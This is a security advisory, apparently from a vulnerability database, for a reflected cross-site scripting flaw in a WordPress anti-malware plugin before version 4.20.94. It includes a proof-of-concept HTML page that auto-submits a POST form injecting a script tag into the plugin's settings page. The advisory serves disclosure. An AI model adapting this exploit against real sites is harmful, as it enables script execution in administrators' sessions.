Anti-Malware Security and Brute-Force Firewall < 4.20.94 - Admin+ Reflected Cross-Site Scripting

2022-01-2400:00:00

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108

0.001 Low

EPSS

Percentile

25.0%

JSON

The plugin does not sanitise and escape the POST data before outputting it back in attributes of an admin page, leading to a Reflected Cross-Site scripting. Due to the presence of specific parameter value, available to admin users, this can only be exploited by an admin against another admin user.

The GOTMLS_mt parameter value is retrieved when being logged in as admin and view the source code of /wp-admin/admin.php?page=GOTMLS-settings for example. Then, use the code below to XSS another admin

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_mt=dd950912e933626ba251bed092e2f9ba&scan_what=2" id="hack" method="POST">
      <input type="hidden" name='x"><script>alert(/XSS/);</script>' value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

0.001 Low

EPSS

Percentile

25.0%

JSON

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